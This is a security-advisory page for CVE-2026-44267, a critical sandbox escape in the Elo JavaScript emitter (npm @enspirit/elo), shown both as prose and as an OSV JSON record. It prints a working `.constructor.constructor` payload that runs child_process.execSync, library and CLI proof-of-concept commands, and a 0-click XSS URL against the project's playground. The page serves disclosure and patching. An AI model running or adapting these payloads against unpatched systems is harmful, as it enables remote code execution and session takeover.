GHSA-33R5-XMM8-V6X5

Vulnerability from github – Published: 2026-11-03 17:53 – Updated: 2026-11-03 17:53
VLAI
Summary
Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access
Details

Summary

An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — defaultFormats.elo.parse(), the bin/elo CLI, or the live browser playground at elo-lang.org/try — can execute arbitrary code in the host JavaScript runtime. A payload built from the .constructor.constructor chain compiles, without modification, to a live Function invocation in the emitted JavaScript, escaping any sandbox assumption around "Elo is a safe data/DSL language."

Vulnerable sink and root cause

Three interacting sites in src/ produce the bug at commit 749af7b:

  1. src/transform.ts:144–158 — the member_access handler allows access on types any, object, or array without filtering the property name. This is the only place an integrator could have plugged a denylist.
  2. src/compilers/javascript.ts:210 — the JS emitter writes ${objectExpr}.${ir.property} verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript.
  3. src/parser.ts:163–170, 748–750 — the parser accepts constructor (and other JS meta-property names) as an ordinary identifier, so .constructor clears type-checking without triggering any warning.

Combined, the Elo expression ({}).constructor.constructor('…')() compiles to a live Function('…')() call in the emitted JS, executing in the realm of whichever sink runs the compiled code.

Attack surfaces

All three surfaces share the same root cause (no denylist in transform.ts) and are addressed by the same one-file patch:

# Entry point Threat model
1 Browser playground — https://elo-lang.org/try/?code=…&run=1 0-click XSS / account takeover against elo-lang.org. ?run=1 triggers setTimeout(() => this.run(), 100) in playground_controller.ts:531; the server issues a 301 that preserves ?code=. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org.
2 bin/elo CLI RCE on CI / DevOps hosts. Both node bin/elo payload.elo and node bin/elo -e "_" -d @payload.elo -f elo fire. The -f elo path is especially severe: the flag exists to pass user-supplied files as data into an Elo pipeline. No integrator expects a data-format flag to shell out to /usr/bin/id.
3 Library API — defaultFormats.elo.parse() Node.js RCE for any downstream integrator using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases).

Proof of Concept

Common payload (works on all three entry points):

({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'id\').toString()')()

Library API — poc-minimal.js:

// npm install elo
const { defaultFormats } = require('elo');

const payload = "({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()";

console.log(defaultFormats.elo.parse(payload));
// → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=…

CLI — poc-cli.sh:

node bin/elo payload.elo
# uid=1000(ultrasupara)…

node bin/elo -e "_" -d @payload.elo -f elo
# uid=1000(ultrasupara)…

Browser playground — 0-click XSS URL:

https://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1

Opening this URL causes alert(document.domain) to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the ?code= parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.

Independence from GHSA #3 (AST-API injection)

This finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex ^[a-zA-Z_][a-zA-Z0-9_]*$ happens to accept constructor, and its threat model requires an attacker-controlled AST object rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@enspirit/elo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44267"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-693",
      "CWE-79",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-03T17:53:42Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nAn unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path \u2014 `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` \u2014 can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around \"Elo is a safe data/DSL language.\"\n\n### Vulnerable sink and root cause\n\nThree interacting sites in `src/` produce the bug at commit `749af7b`:\n\n1. **`src/transform.ts:144\u2013158`** \u2014 the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist.\n2. **`src/compilers/javascript.ts:210`** \u2014 the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript.\n3. **`src/parser.ts:163\u2013170, 748\u2013750`** \u2014 the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning.\n\nCombined, the Elo expression `({}).constructor.constructor(\u0027\u2026\u0027)()` compiles to a live `Function(\u0027\u2026\u0027)()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code.\n\n### Attack surfaces\n\nAll three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch:\n\n| # | Entry point | Threat model |\n|---|---|---|\n| 1 | Browser playground \u2014 `https://elo-lang.org/try/?code=\u2026\u0026run=1` | **0-click XSS / account takeover** against elo-lang.org. `?run=1` triggers `setTimeout(() =\u003e this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor\u0027s session on elo-lang.org. |\n| 2 | `bin/elo` CLI | **RCE on CI / DevOps hosts.** Both `node bin/elo payload.elo` and `node bin/elo -e \"_\" -d @payload.elo -f elo` fire. The `-f elo` path is especially severe: the flag exists to pass user-supplied files as *data* into an Elo pipeline. No integrator expects a data-format flag to shell out to `/usr/bin/id`. |\n| 3 | Library API \u2014 `defaultFormats.elo.parse()` | **Node.js RCE for any downstream integrator** using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). |\n\n### Proof of Concept\n\n**Common payload (works on all three entry points):**\n\n```elo\n({}).constructor.constructor(\u0027return this.constructor.constructor(\\\u0027return process\\\u0027)().mainModule.require(\\\u0027child_process\\\u0027).execSync(\\\u0027id\\\u0027).toString()\u0027)()\n```\n\n**Library API** \u2014 `poc-minimal.js`:\n\n```js\n// npm install elo\nconst { defaultFormats } = require(\u0027elo\u0027);\n\nconst payload = \"({}).constructor.constructor(\u0027return this.constructor.constructor(\\\\\u0027return process\\\\\u0027)().mainModule.require(\\\\\u0027child_process\\\\\u0027).execSync(\\\\\u0027id\\\\\u0027).toString()\u0027)()\";\n\nconsole.log(defaultFormats.elo.parse(payload));\n// \u2192 uid=1000(ultrasupara) gid=1000(ultrasupara) groups=\u2026\n```\n\n**CLI** \u2014 `poc-cli.sh`:\n\n```sh\nnode bin/elo payload.elo\n# uid=1000(ultrasupara)\u2026\n\nnode bin/elo -e \"_\" -d @payload.elo -f elo\n# uid=1000(ultrasupara)\u2026\n```\n\n**Browser playground** \u2014 0-click XSS URL:\n\n```\nhttps://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29\u0026run=1\n```\n\nOpening this URL causes `alert(document.domain)` to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the `?code=` parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.\n\n### Independence from GHSA #3 (AST-API injection)\n\nThis finding is independent of the Medium-severity AST-API report (GHSA #3). That fix\u0027s identifier regex `^[a-zA-Z_][a-zA-Z0-9_]*$` happens to accept `constructor`, and its threat model requires an attacker-controlled AST *object* rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.",
  "id": "GHSA-33r5-xmm8-v6x5",
  "modified": "2026-11-03T17:53:42Z",
  "published": "2026-11-03T17:53:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/enspirit/elo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.